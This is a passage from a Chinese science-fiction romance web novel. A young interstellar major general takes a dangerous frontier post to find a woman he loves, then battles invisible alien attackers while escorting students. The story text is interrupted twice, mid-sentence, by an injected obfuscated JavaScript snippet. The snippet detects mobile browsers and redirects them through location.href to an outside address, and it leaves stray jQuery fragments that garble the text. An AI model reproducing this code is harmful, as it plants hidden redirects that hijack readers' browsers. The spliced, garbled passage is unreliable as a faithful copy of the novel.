《抓天狗的月亮》 1. 狗狗钩,钩狗狗 早上5:00,兰司珞睁开眼。 他从保鲜装置里拿出一颗橄榄球大小的菲尼克斯蛋,放入烹饪装置,选择“煎蛋”模式。 又将刚从青园星域九号农场买来的最新型牛奶倒入杯子进行加热。 待得兰司珞洗漱完成后,他绕过地上巨大的菲尼克斯骨架,正好坐在沙发上,一边吃早餐一边打开了自己的光脑。 又是通讯软件被塞得满满当当的一天。 兰司珞皱起眉头,眉心的美人痣也跟着皱成一团。 出剑速度被誉为军团年轻一代第一的手飞速地在屏幕上点击着每个弹窗的右上角。 贩卖私人星球的广告,这个早就买好了,叉掉。 私人便携折叠空间的租金涨价提示,兰司珞对着那串并不便宜的数字犹豫半晌,还是点击了续租按钮,然后本着眼不见心不烦的原则快速叉掉。 识别外星间谍的18种绝密方法,兰司珞点击举报,选择诈骗,叉掉。 某某家族的视频通讯邀请,谢谢,没有相亲意向,叉掉。 下属发来的任务报告,最醒目的当属他的副官何晞发送的《你疯了吧!!!》。因为对方有VIP闪烁功能,四个黑色大字上鎏金的光芒来回闪烁,十分的炫酷里夹杂着两分的奢华。 兰司珞像是看到了什么脏东西一般,根本不点开它,手指在叉叉上捅出残影。 “叮咚。”新邮件的提示音响起。 官方未读邮件自动标红并悬浮在兰司珞的主页上方,使得他涣散的眼神终于聚焦在半空中的光屏上,点击打开这封邮件。 尊敬的兰司珞大人: 您好,您提交的阶位升级申请已通过审核。 您目前累计完成:S级任务0个,A级任务5个,B级任务20个,C级任务50个,D级任务100个。 经过帝都星域第三军团评估,衡镜司星域监察部检验,您的任务完成量【合格】,年龄35岁【合格】,符合少将标准。 目前您的阶位已升为【少将】,相关权限已解锁。 升阶仪式将于两天后(星族联盟2399年6月15日)举行,请确保您届时能够到场。 恭喜您,星族联盟最年轻的少将。 ——八大星域及家族星空联合盟会(星族联盟)衡镜司星域·监察部·帝都星域第三军团分部向您致意 星族联盟2399年6月13日 “滴答”。 牛奶顺着兰司珞的大腿滴落在地板上。 顾不得擦拭,兰司珞将牛奶杯随手一放,目光扫过“相关权限已解锁”几个字,心跳速度陡然加快。 后续的内容已不再重要,他点了两下才准确地关掉邮件,退出通讯软件马不停蹄地打开了自己的军团后台系统。 军团内部通讯同样是一连串的信息轰炸,最显眼的一条来自第三军团的军团长顾琦元帅,也就是兰司珞的顶头上司。 兰司珞装作没看见顾琦元帅的视频通讯申请,直奔隐私权限里的公民信息查询系统。 看到搜索框的那一刻,兰司珞的动作忽然慢了下来。 他把手在衣服上来回擦了又擦,才点开搜索框,一笔一划认真地写下“元墨洇”三个字。 点击查询,确认。 漫长的一秒后,这个页面出现了好几条链接,兰司珞的目光牢牢锁定在最顶上的那条信息上。 【元墨洇(普罗米修斯星域),保密程度:S*特殊加密*】 兰司珞指尖颤抖,手指穿过虚拟的屏幕,将那三个字悄悄握在手心里。 只握住了一瞬,虚拟屏幕感应到他的手指,自动为他打开了链接。 他立刻紧紧地闭上眼睛,双手合十,屏住呼吸。 兰司珞在第三军团征战多年,完成了将近两百次任务,92.11%胜率的战绩辉煌耀眼。 最近一次任务杀掉的外星生物菲尼克斯,现如今骨架正躺在他旁边的地板上,下的蛋刚被他做成早餐吃掉。 没有人知道,其实他最害怕的不是作战失败,而是每次点开那个名字,弹出来的警告:【权限不足】。 就像夜晚来临的时候,一抹月光冷漠地路过窗口却不愿驻足,给予短暂希望之后,随之而来的依然是无边无际的黑夜。 没关系的,兰司珞在心里安慰自己,比起一开始的时候连名字都搜索不到,现如今的情形已经很好了。 大不了再走远一点,站得再高一点,就能离月亮更近一点。 光脑中传来“滴滴”的声音。 在默认音效里,“滴——”意味着申请失败,而“滴滴”意味着…… 兰司珞睁开双眼,整个人直直往屏幕上扑去,又靠过人的身体掌控力硬生生停在即将触碰到的那一瞬。 只是那杯牛奶未能幸免于难,跌落在兰司珞脚边,化作乳白色的河流漫过他的脚背,像是月光蜿蜒流下的痕迹。 光屏的微光洒在他脸上,映出他错愕狂喜的面容。 【具备访问权限,部分资料已解锁,正在开启最高保密程序。】 【!】【警告:关于元墨洇大人的一切信息均不可外泄,一旦外泄将直接移交衡镜司星域最高法庭审理,请确认。】【!】 【我已知悉。】 兰司珞迫不及待地点击确认,最高保密程序的监管下,页面变得极其简单,只剩下白色的背景和黑色的文字,甚至一张照片都没有。 姓名:元墨洇 性别:女 出生年月:星族联盟2364年11月22日 身份:普罗米修斯星域·元家·代理家主;元墨洇精神力研究所·所长。 当前位置:天市垣星域·汤燧星 “汤燧星……”兰司珞反复咀嚼这几个字,脑海中一片茫然,“这是什么地方?” 对于天市垣星域,兰司珞倒是一点都不陌生。 在他计划了很多年的休假旅游里,天市垣星域作为星族联盟八大星域中的经济中心,其各个网红星球的名字和标志性景点全都被密密麻麻地记在他的备忘录里。 他打开备忘录,反复确认,里面确实没有汤燧星这个星球。 决定自己动手搜索,兰司珞一字不落地背下面前的资料界面,关闭之后切换回自己的军团个人信息主页。 动作在主页顿了一瞬。 身份界面的左上角挂着兰司珞的证件照,他看到后不由得伸手摸了摸自己的脸。 那是他在25岁的时候选择固定下来的脸。 在这个平均年龄300岁的时代,人类通过基因工程,在250岁之前都能将容貌和身体机能锁定在巅峰状态。甚至容貌可以自行调控,维持在喜欢的年龄阶段。 证件照上的这张脸年轻英俊,朝气蓬勃。金发如阳光披散在肩头,眉心的美人痣似乎都在微笑。 十年过去,与屏幕外的自己对视,笑起来的模样依然一模一样。 兰司珞左看右看,反复确认自己的美貌和十年前相比没什么变化,直到这番欣赏被手上黏腻的触感打断。 他看着自己满身的牛奶,发出一声尖叫,冲进了浴室。 半个小时后,清理完毕的兰司珞在沙发上蒸出一圈人形的水汽,像是给他披了一圈绒毛在身上。 沙发干干净净,像什么都没发生过似的。清洁机器人已趁他洗澡的间隙将牛奶打扫干净,退回自己的充电接口。 以往这个时候,兰司珞不是在抓耳挠腮写报告,就是在应付各种各样的视频通讯申请。 而现在,他正在浏览汤燧星的信息。 搜索引擎查到的资料寥寥无几,只知道这是位于天市垣星域边境的一颗中等星球,唯一的旅游景点是一座每十年爆发一次的火山。 因为与外星生物瑟尔瓦克统治的瑟尔瓦克星域接壤,危险系数较高,是一颗旅游性价比极低的星球。 兰司珞的大脑自动过滤了危险的外星生物,对着汤燧星的火山开始畅想放烟花、泡温泉的美好生活。 好心情截止到兰司珞私人飞船的停泊申请被自动驳回。 兰司珞皱起眉头,面前弹出的系统消息提示他,汤燧星目前的私人旅游申请都需要进行审批,并且审批通道最近已被关闭。 他郁闷地用手猛锤沙发,吓得身旁的抱枕掉在地上瑟瑟发抖。 他叹了口气,弯腰捡起抱枕,突然灵机一动,决定接一个汤燧星附近的任务,这下就能明目张胆地过去了。 光脑上的搜索页面又被切换到军团.系统,兰司珞打开任务界面,以汤燧星为中心搜索附近的任务。 没想到汤燧星自己就有一个任务。 【换防任务(A级)】 原驻扎军队:帝都星域·帝都星·第三军团。 原驻扎军官:王方(上校)。 驻扎时间:8年,可申请换防。 任务要求:处理汤燧星附近的瑟尔瓦克生物体军队进攻。 申请限制:仅限帝都星域·帝都星·第三军团少将及以上阶位军官申请。 这是什么给他量身定做的任务吗? 兰司珞大喜过望,迫不及待按下申请按钮,像是怕谁从他手上抢走一样,完全忽视了原来那位上校驻扎了八年而这个任务无人问津的现况。 申请发送出去没过多久,兰司珞的军团内部通讯就“叮叮咚咚”响了起来,顾琦元帅的证件照出现在他的光屏正中央。 这则视频通讯不能再忽视掉了,兰司珞双手稍稍整理了一下衣领,点击接通。 神情严肃、身材魁梧的顾琦元帅出现在视频的另一端,眼睛并没有看向兰司珞,手指飞快地在空中点击着,显然在处理其他事务。 兰司珞正襟危坐:“早上好,顾元帅。” “早上好。”顾琦元帅飞快地看了一眼兰司珞,目光重新移动到屏幕外,“先恭喜你打破了星族联盟的记录,成为有史以来最年轻的少将。汤燧星的任务不合适,我这里有其他任务安排给你。另外,按照目前我收到的消息,帝都星域各大家族都有意向与你联姻,你准备选择哪一个家族?” “我不要。”兰司珞脱口而出,迎上顾琦元帅锐利的目光,“我不会与帝都星域任何一个家族联姻。” 他又补充道:“我就要汤燧星的任务。” 顾琦元帅停下手里的动作:“考虑好了?” 兰司珞猛猛点头。 “我会让我的副官将资料交给何晞。”顾琦元帅毫不犹豫挂掉了通讯。 兰司珞仰面倒在沙发上,把眼睛埋在臂弯里。 一旁的光脑开始自动继续播放他之前看的视频,画面中,一个人驾驶着一架白色的机甲,右手的激光剑与左手的激光炮交替使用,一会儿进攻,一会儿又倒退着飞出去,动作怪异,像是在与空气搏斗。 不断有消息提示音打断视频的背景音乐,兰司珞听得心里,忍不住爬起来开静音。 光脑的声音消失了,兰司珞长舒一口气,门外却响起巨大的拍门声,世界变得更吵了。 他有点后悔为了节省时间没有在任务完成后直接回家,反而在军团的临时宿舍住了下来,导致现在根本没有躲开何晞的机会。 兰司珞咬牙切齿吩咐智能管家系统:“开门。” 门应声而开,一个高瘦英俊的男人摔门而入,大步走到兰司珞左边的沙发上坐下,顺手给自己倒了一杯水,重重往桌子上一磕。 “兰司珞,你疯了?菲尼克斯捕捉任务昨天才做完,你昨晚就提交了?你知不知道我花了一晚上的时间帮你过那些审核? “你疯了!你晚一天升到少将军衔耽误你破记录了吗? “你疯了!你知道汤燧星那是个什么任务吗? “你……” “汤燧星是个什么任务?” 何晞攥紧了拳头,目光扫过地上的菲尼克斯骨架,又默默松开来手:“你只关心这个吗?” 他挺直腰背,将领口不小心扯开的纽扣重新扣上,拿出光脑调出一份资料发给兰司珞。 兰司珞随手接收了这份资料,点开一看,不由得瞪大了眼睛,从沙发上站起来:“S级任务?” 兰司珞的光脑里一直播放的视频终于到了尾声,在何晞的沉默中,解说的声音干净而清晰。 “……瑟尔瓦克生物体拥有极强的生物隐身技术,至今未能被完全破解。因此瑟尔瓦克虽然攻击力不强,却堪称现在最难缠的外星敌人之一。如果大家最近去天市垣星域旅游,主播推荐……” 何晞伸手关掉了视频:“你疯了,这种忽悠普通平民的东西有什么用。我已经看过军团内部资料了,瑟尔瓦克星域的任务又难又偏,你随便看一眼,就去找顾元帅重新申请一个A级任务吧。” 兰司珞点开何晞给他的资料,一大堆字看得他昏昏欲睡:“换一个汤燧星附近的任务呢?” “那一片区域,一共3颗高等星球,36颗中等星球,是第三军团专门建立的星空堡垒,用于执行这个S级任务。” 兰司珞终于找到这座星空堡垒的介绍,点开全息投影,移动放大后找到了汤燧星。 他的手指按在汤燧星上不动:“这里是不是很危险?” “不算危险,瑟尔瓦克星的进攻目标主要是那3颗高等星球,主要的武器设备也都在那里。这36颗中等星球平时都正常生活,应该是用来供给运输物资的。” 兰司珞继续翻找资料,找到一个与瑟尔瓦克交战的视频,一边点开一边说:“我就接这个任务。” 他双手一伸,仿佛有无形的激光剑与激光炮握在了手中,对着视频开始比划起招式来。 “兰司珞,你疯了吗?”何晞沉下脸色,“一个难度排名在整个星族联盟前50的S级任务,有可能会让你一辈子都赔在那里,到时候我可不会奉陪。你最好、现在、立刻就给顾元帅打视频通讯申请换一个任务。” 何晞骂人的词汇实在匮乏,兰司珞听他骂了五年的“你疯了”,现在这三个字已经像“早上好”一般悦耳动听。 何晞见兰司珞仍然自顾自地模拟着与瑟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242869|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔瓦克星生物体的战斗,走到兰司珞面前。 他比兰司珞略高半个头,此时双手插在裤袋里,低头俯视兰司珞,精心打理过的微卷的头发垂落下一片弯弯曲曲的阴影。 兰司珞停下动作,盯着手臂上的阴影,想着瑟尔瓦克是不是就长这样。 “S级任务【瑟尔瓦克】,由天市垣星域发布,属于多星域联合作战项目。 “任务目标1:破解瑟尔瓦克生物隐身技术。 “任务目标2:活捉规定数量的瑟尔瓦克,进行人工养殖。 “任务目标3:歼灭瑟尔瓦克的星球堡垒,接收瑟尔瓦克星域,为天市垣星域重建防线。 “听见了吗?最重要的任务1和任务2都与作战无关,你就算作战能力再强,也得以研究所和青园农场的进度为主。所以这个换防任务八年都没人愿意接手,你要是后悔了,你以为还能找到人接替你吗?” 兰司珞停下手上的动作,金发微带了一点未干的湿意,凌乱地散在肩头,蓝色的眼睛收敛了弯弯的弧度,像平静的湖面映出何晞的脸。 何晞心里猛地一跳。 上一次,他见到兰司珞露出这种表情,是在两年前,兰司珞突然热血上头,不顾他的劝阻,连续接取了两个A级任务,结果差点死在任务里。 果然,他听到了兰司珞的声音,与两年前一模一样:“我就接这个任务。” 他凝视着兰司珞眉心那颗倔强的美人痣,原以为这人经过两年前的任务后已经老实了,原来只是没到他那根筋搭错的时机。 “你再好好想想吧。”何晞重新站直身体,关上光脑朝门口走去。 开门的时候,他突然停下:“如果你是因为不想和帝都星域各大家族联姻,要找个地方躲着,我劝你打消这个念头。你这么拼命升到少将,不就是为了嫁一个高等家族嫡系出身的妻子吗?以你现在的成就,也算是勉强配得上我们何家了。来之前我问过我妹妹,她对你很感兴趣,我可以为你安排与她见面。” 兰司珞扭过头去,下意识开口拒绝:“不要。” 何晞挑眉:“那我表妹?虽然不是叶家嫡系,但叶家可是帝都星域创始人的家族,并且她似乎对你也不排斥。如果你求我的话,我可以帮你去说点好话。” 兰司珞怕他说出第三个亲戚来,转头认真地看着他:“我有喜欢的人,我马上就要跟她结婚了。” 何晞嗤笑一声:“人呢?” 兰司珞犹豫了一下,用一根手指指着自己的心口说:“暂时还在我这里。” 他又比划身边的空气:“马上就在我这里了。” 何晞靠自己的贵族气质压制住嘴角抽搐的冲动:“别吹牛了,记得明天给我答复。”抬脚便将门摔出一阵惊天动地的呻吟。 兰司珞这根四季豆果然还是一如既往地油盐不进。 兰司珞忍着困意,熬夜看完了关于【瑟尔瓦克】任务的所有资料,顺便在0点的时候给何晞发了消息,告诉他自己还是要接取这个任务。 何晞刚接到消息就立刻回复了他。 兰司珞:[你联系一下王方上校,确定换防交接时间。] 何晞:[先说好,我最多在那个穷乡僻壤待一年。] 兰司珞:[确定了把所有的任务资料尽快发给我。] 何晞:[你到时候别后悔。] 熟悉的聊天模式结束,两个人都把自己想说的话说了出来,十分满意。 在这之后,兰司珞将事务都扔给了何晞,自己开始准备少将升阶仪式。 6月15日当天,何晞赶来接他,与他一同前往仪式现场。 刚开门,何晞的眼睛就差点被他闪瞎。 清晨的日光刚好照射在兰司珞身上,他柔顺的披肩金发上立刻折射出耀眼的七彩光芒。 他把何晞的目光解读为惊艳,抬手撩拨了一下头发,发丝一根根从他手指缝隙里倾泻而下,彩光流转,何晞眼里仿佛炸开一道令他头皮发麻的彩虹。 何晞艰难开口:“你这是用的什么光泽剂?” 兰司珞手里变出一个彩色的瓶子,何晞一眼就看到上面硕大的广告词:让你每一根头发丝在阳光下都闪烁出玛丽苏主角的七彩光效。 还有下面的一行小字:推荐年龄7-15岁。 何晞:“……” 一想到今天他全程都要站在兰司珞身旁,他眼前一黑。 升阶仪式结束后,何晞立刻从兰司珞身边逃走。 没了何晞挡着,兰司珞不擅长应付前来祝贺的人,准确说是不想应付前来找他预约相亲的各个帝都星域家族。 他从机器人通道熟门熟路地悄悄溜走,刚走两步,有人从后面锁住了他的脖子。 他反手一扭,对方立刻伸出另一只手格挡。两人你来我往地过了七八招,终于满意地勾肩搭背走在了一起。 兰司珞嘲笑对方:“赫帆,几个月不见,你的招式一点长进都没有。” 赫帆翻了个白眼,锤了兰司珞胸口一拳:“我哪比得上你啊,兰少将。” 他上上下下用目光打量兰司珞,被兰司珞的头发晃得眼花,“嘶”了一声:“你都是星族联盟最有史以来最年轻的少将了,怎么还是打扮得这么离谱。” 兰司珞摸摸头发:“我觉得很好看啊。” 赫帆拽了两下兰司珞的头发,嫌弃地用兰司珞的衣服擦手:“不说这个了,你下一个任务去哪里?” “汤燧星。” 一分钟后,赫帆将目光从光脑上移开,他看了看兰司珞,又看了看光脑,欲言又止。 兰司珞不明所以:“怎么了?” 赫帆声音艰涩:“你老实告诉我,是不是又拒绝顾元帅和何晞提出的联姻邀请了?” 兰司珞点头:“对呀。” “唉。”赫帆拍了拍兰司珞的背,“看在我们出身于同一个珍辰之家的份上,听哥们一句劝,忘了那个人吧。” 兰司珞拍开他的手,梗着脖子沉默不语。 “认清现实吧,兰司珞。别看你这么快升到少将,要再想往上升,你背后必须得有帝都星域家族的支持。你拼死拼活这么多年,难道真的要为了那个人放弃一切吗? “况且,她早在十年前就不要你了。” 两人就此无言,并肩走过长长的一段路,在第三军团临时宿舍门口停下。 赫帆朝自己的第五军团临时宿舍走去。 “对了,差点忘了。”赫帆走了两步后转身喊住兰司珞,拿出一个盒子扔了过去,“你的礼物,兰少将。恭喜你,帝都星域军团最年轻的天才。” 兰司珞接住盒子,掂了掂重量,笑道:“谢了。” 他望向赫帆摆手离去的背影:“赫帆。” “嗯?”赫帆停住脚步。 “你错了,我不是为了她放弃一切,我是因为她才得到这一切的。 “而且,她绝对不会不要我的。” 赫帆回过头来,兰司珞的身影一步步消失在坠落的日光里,直到和月色融为一体。 2. 狗狗Go 确认领取任务后,更为详细的资料被发送到兰司珞的光脑里。 兰司珞带着何晞与自己手下各个军官,正一同坐在顾琦元帅的会议室里看着资料。 顾琦元帅的副官张栋推门进来。 张栋先向兰司珞行礼,再熟稔地与何晞打了个招呼,才在会议桌的尽头坐下:“顾元帅还在忙着其他事情,就由我来与你们说一下这个任务。” 他手指微动,桌面上出现巨大的星空堡垒立体投影。 “我先简单介绍一下这个任务:星族联盟2151年,天市垣星域遭到了隐身生物袭击,将之命名为瑟尔瓦克。瑟尔瓦克将一个星系炼制成移动堡垒,以劫掠作为生存手段,开始了长达200年的对天市垣星域边境的骚扰。帝都星域多次和谈失败后,天市垣星域将瑟尔瓦克活动范围内的大部分星球进行搬迁,只留下3颗高等星球和36颗中等星球组建成星空堡垒来对抗瑟尔瓦克。 “30年前,顾元帅接手了这一任务。经过三次更换合作研究所,对瑟尔瓦克的隐身技术研究终于取得极大突破,目前这项任务已经到了收尾阶段。也就是说,兰少将,你的任务除了防御瑟尔瓦克的进攻之外,可能会有大规模作战任务,请做好准备。” 兰司珞点点头,作战正是他最擅长的。 “高等星球01号,由我们第三军团管理,总指挥为唐曼将军。兰少将,你需全程听她调遣。” 兰司珞记下唐曼的通讯软件编号。 “高等星球02号,由研究所管理。每个中等星球上都设有研究所的分部,可找他们提供武备技术支持。这是我们签订的材料交易合同,何晞,每次作战后你需要与她们进行核对,并将结果上报给唐曼将军。” 张栋想了想,还是对着何晞补充了一句:“不是特别过分的要求就直接答应,尽量不要和她们对着干。” 何晞几不可闻地“嗯”了一声,也不知道听没听见。 兰司珞倒是在自己的资料中的“研究所”三个字旁心安理得地写下“推给何晞”。 “高等星球03号,由青园星域第四农场管理,负责人为陆书慎。活捉瑟尔瓦克后,交给研究所统一分配,会有部分生物体送到这里去研究养殖技术。” 兰司珞把资料翻到这一页,在“鲜嫩爽滑、口感非凡”几个字下方来回画上横线。 “……” “最后,月底还有一批帝都星高级学院机甲系、医疗系和农业系的学生要去汤燧星实习。兰少将,他们算是你的学弟学妹,顾元帅交代你顺便护送他们过去。” 兰司珞“认真”地看着面前的资料。 “兰少将?”张栋提高了音量。 何晞伸手推了兰司珞后脑勺一把,兰司珞茫然地抬头,下意识回答:“好的,我知道了。” 张栋脸上没有丝毫惊讶,唇角的弧度未变:“你还有什么问题吗?” 兰司珞打开自己的备忘录,照着念道:“把这些重要机构的负责人的名单发我一份,然后把所有瑟尔瓦克的战斗视频找给我。” 张栋认真记下。 当天夜里,兰司珞就收到了相关资料。 他打开名单,从头到尾看了三遍,失望地关上光脑。 没有他想要找的人,那个人待在汤燧星,会是在干什么呢? 兰司珞望着窗外的天空,今夜无月,零散的星光晦暗不明。 但他心情依然很好,他有预感,月亮应该很快就会再次出现了。 在等待出任务的时间里,兰司珞回了一次家。 他去年花了大半的积蓄,在普罗米修斯星域全款买下的一颗私人星球,取名为冰淇淋星,因为叫这个名字的私人星球太多,他被要求加上自己喜欢的数字编码作为后缀。 兰司珞这颗的全名便叫冰淇淋星1122号,如今早已装修完毕了。 到家后,他从衣柜中挑选了他自认为穿起来好看的所有衣服,又扫荡了浴室和梳妆台上所有的瓶瓶罐罐。 遗憾的是,玛丽苏光泽剂被兰司珞留在家里了。 何晞再三跟他保证,没有任何一位成年贵族女性会欣赏头发上出现这种七彩炫目光效的男人。这款光泽剂主打的是未成年平民市场。 为了避免再看到什么辣眼睛的画面,有损自己的形象,何晞为兰司珞推荐了一款据说最受成年贵族女性喜爱的光泽剂。 这种光泽剂不会改变原有的发色,只会给头发镀上一层闪亮而不刺眼的光晕。 瓶身的广告词字体尊贵,字号矜持:让你的头发在阳光下灿烂如朝阳,在月光下闪烁如繁星。 兰司珞拍照搜索,发现这个品牌已经连续一百年霸榜高端光泽剂品牌销量第一名,他手上这款早已因为常年断货而限量供应。 怪不得何晞都不让他自己去买,难得好心动用自己的人脉给他代购了一瓶。 临走的时候,兰司珞站在门口犹豫片刻,又回到卧室,从枕头边抱走了一个黑色金属箱。 时间很快来到月底。 少将标配的百舰舰队停泊在帝都星的一处港口,兰司珞站在主舰指挥室,看着帝都星高级学院的学生们排队登上安排好的战舰。 何晞站在他身边有一搭没一搭地跟他说话:“你毕业于帝都星高级学院?竟然不是帝都星第一机甲学院。” 若是将星族联盟所有高级学院按照机甲系进行排名,帝都星第一机甲学院排名第一,帝都星高级学院排名第五。 军团历史上那些战功赫赫的著名人物,大多数都毕业于帝都星第一机甲学院,尤其是擅长单人作战的那几位。 没有得到答复,何晞追问道:“以你的机甲战斗水平,去帝一机绰绰有余吧。其他科目分数不够?不对,帝高推崇均衡,其他科目分数要求更高吧。” 兰司珞目光落在不远处的学院建筑上,手指毫无节奏地敲击窗框:“因为帝都星高级学院排名第一啊。” 何晞余光紧盯着兰司珞,见他没有看向自己的意思,偷偷用光脑在掌心投射出一个小屏幕,搜索高级学院专业排名榜。 无论是按照机甲系排名还是全科目综合排名,帝都星高级学院都不是第一,与他记忆中一模一样。 他立刻将光屏扩大,挡在兰司珞眼前:“你是记错了还是被骗了……” 兰司珞于光屏的缝隙中瞥到一点黑色,他偏头躲开光屏上的字,凝神看去。 恰好有风吹过,黑色的发丝下露出半张精致的脸。 他恍然愣住。 何晞喋喋不休的话音逐渐远去,脑海中的记忆逐渐清晰。 兰司珞在何晞惊愕的眼神中,推开窗跳了出去。 最后一个学生刚好登上战舰,门在兰司珞面前缓缓关上。 无论兰司珞如何上蹿下跳,他从门缝里看到的一位位学生都不是他想要找的人。 他又绕到战舰的窗户边试图往里看,可惜战舰的窗户是单向玻璃,只有里面的人能看见外面。 最后还是出发时间到了,何晞将他叫了回去。 舰队起飞后,学生乘坐的战舰休息室,一位黑发少女蹦蹦跳跳地推门而入。 靠窗的位置立刻有另一位少女挥手喊她:“阿枢,这边。” 阿枢“噔噔噔”跑了过去,在对方的对面坐下:“冯钊?你也报名的这个项目吗?” 冯钊说话不疾不徐,声音不高不低:“这个项目位置偏僻、任务繁重,但是积分很高,很适合我。” 她忽然飞快地看了面前的阿枢一眼,目光扫过对方漂亮的银色眼睛:“不说这个,你刚刚看到没有,那位兰少将就在我们军舰外往里看,像是在找什么东西。” “什么?兰少将!”阿枢立刻扑在窗户上,可惜兰司珞已被何晞叫走,“哎呀,他不在了,我就上了个厕所的功夫。” 她郁闷地靠在椅背上:“太可惜了,兰少将可是我的偶像啊,我还等着这次项目能跟他当面要个签名呢。” 冯钊把头向前靠,放轻了声音:“你是查到了这次的项目是他来护送吗?” “这我哪……”阿枢忽然瞪大眼睛,“你以为我是因为他才来参加这个项目的啊。” 怪不得刚才冯钊说话突然变得小心翼翼的,念及此处,阿枢“噗嗤”一笑:“我倒也不用专门为了看他一眼就随便选一个项目吧。” 她黑发正巧有一缕垂落在银色的眼眸上,随着她的话语轻轻颤动,于原本随性的举手投足间,自然地流露出几分养尊处优的意味。 冯钊温柔一笑:“也是,你要见他,只需要报上自己名字就足够分量了吧。” “‘元墨枢’吗?”阿枢自嘲一笑,“家族是听起来很威风啦,但特权得用天赋去换。像我这样资质平平的,连自己选择实习项目的权利都没有。虽然我本来就是要去汤燧星的,但直接被通知还是好不爽啊。” 冯钊听着她抱怨,并不接话。 元墨枢也知道对方顾忌什么,摆了摆手:“算了,不说这个了,聊点开心的。等到了汤燧星,我争取和你分到同一个项目组吧,运气好这次能多捞点积分回去。” 几句话的功夫,窗外已不见帝都星,两人的话题也随之转移到沿途的景色上。 军舰速度极快,不到一天便从帝都星域行驶到了天市垣星域,马上就要到汤燧星了。 兰司珞正在观察这片星空堡垒周围的环境,36颗中等星球无规律地散落在3颗高等星球周围,汤燧星在其中一个不起眼的角落里。 正思考着,他注意到控制面板上有一根指针不太对劲。 正常平稳飞行的军舰,这根指针会维持一个微小的角度来回摇摆,但是现在这根指针摇摆的频率比他的经验快了一点。 在第三军团,与兰司珞的快剑一同出名的,是他那可怕的直觉,以及身体永远比思考先走一步的执行力。 就算何晞总在背后吐槽说这是因为兰司珞没脑子所以根本不用思考,也不得不承认他在危机中的这份敏锐度。 就像现在这一刻。 在警报系统响起来的前一秒,兰司珞已经将全军戒备的指令发布出去。 而警报系统响起来的刹那,战时防御系统被毫不犹豫地激活。 技术部将异常报告提交到兰司珞手里的时候,备战区响起迅捷齐整的准备声。 何晞瞬间出现在指挥室门口,神情严肃,手上光脑投射出四个屏幕,塞满了一连串的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242870|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分析报告。 兰司珞背对着他,眼睛紧紧盯着窗外:“简单点。” 何晞习以为常:“数据显示和瑟尔瓦克星战舰袭击的情形高度吻合。无法确认敌人位置。已发送救援申请,数据已传输到总部。” 说话间,有攻击落在了防护罩上。 窗外仍是漆黑一片,目之所及宁静得如同暴风雨来临前的乌云遮顶,雷达没有捕捉到任何敌人的信号。 技术人员传来消息,他们通过防护罩受损的数据算出了敌人的大致方位:瑟尔瓦克的战舰在他们前方形成了半个包围圈,只等他们自投罗网。 好在兰司珞反应够快,赶在瑟尔瓦克的战舰潜入之前就打开了舰队联合防护罩,目前情况尚在掌控范围内。 兰司珞当机立断,下令全队退出包围圈。 原本梭子型的舰队队形立刻掉头,尾部的战舰从断后模式改为突进模式,技术人员以极快的速度规划出绕行路线,舰队有条不紊地快速撤退。 这本该是一份完美的答卷,他们没有与瑟尔瓦克的战舰动手的经验,避战保存实力是最好的选择。 何晞松了一口气:“还好你提前……” 与此同时,唐曼将军从总部也传来了讯息:“保持警惕,数据不对。” 兰司珞的直觉里,危机感更是一点儿都没有消退。 这样一个半包围圈,一旦被提前发现不就前功尽弃了,敌人一定有什么别的目的才对,是什么呢? 没等兰司珞想到这个问题的答案,瑟尔瓦克战舰的第二轮炮弹轰击在了防护罩上。 他瞳孔骤然缩紧! 第二轮炮弹有70%刚好打在第一轮炮弹攻击到的位置,指挥台响起一阵密集的警告声,所有受到两轮袭击的防护罩都不约而同地出现了裂纹。 虽然眼睛看不见,但是战舰传来被不明生物体附着的信号。 瑟尔瓦克战舰使用了一种全新的、资料上完全没有记载的穿盾型炮弹,将它们的生物体送入了防护罩内。 兰司珞在警报声中下载了自己的机甲,没有任何犹豫,他化作一道金色的火焰从指挥室窗口飞出。 光脑搭载的生物芯片立刻链接上他的大脑,通过战舰外壳的数据反馈在他的眼睛上勾勒出入侵者的实时位置。 兰司珞左手的激光炮射出,准确地落在那个位置上。 蓝色血液喷洒在战舰外壳上,绘出一幅触手状的空白图案。那是瑟尔瓦克的血,离开了它们的身体,就会不受控制地显形。 确认攻击有效之后,兰司珞用激光炮毫不迟疑地补了两下,接着头也不回地向着最近的另一处异常反馈点飞去。 半秒之后,一个流着蓝色血液的外星生物尸体逐渐显形。它有着一个扁扁的、满是凸起的脑袋,脑袋下是四根强有力的触手。即使本体已经死去,触手上狰狞的吸盘还在无意识吮动。 其他战舰也派出了不同的机甲小队,配合兰司珞开始清理入侵的瑟尔瓦克。 清理完之后,兰司珞一边飞回主舰,一边重新接收技术人员的数据汇报。 突然有一位技术人员惊呼一声:“兰少将小心!尸体数量比裂缝数量少了四个!” 兰司珞飞行的轨迹划过一条扭曲的折线,刚好避开身侧一根急速突刺过来的强壮触手。 耳边响起电流声,兰司珞的通讯频道出现一个陌生的声音,唐曼将军接管了他的指挥权:“兰司珞,防御为主,不要冒进。” 兰司珞右手的激光剑快速挥动,在身前形成密不透风的防御网,将来袭的触手一一抵挡回去。 唐曼将军又说:“接收我的辅助程序,按照标出的可疑位置攻击。” 兰司珞左手的激光炮配合着推进器,于激光剑的间隙中精准地击中每一个标出的光点。 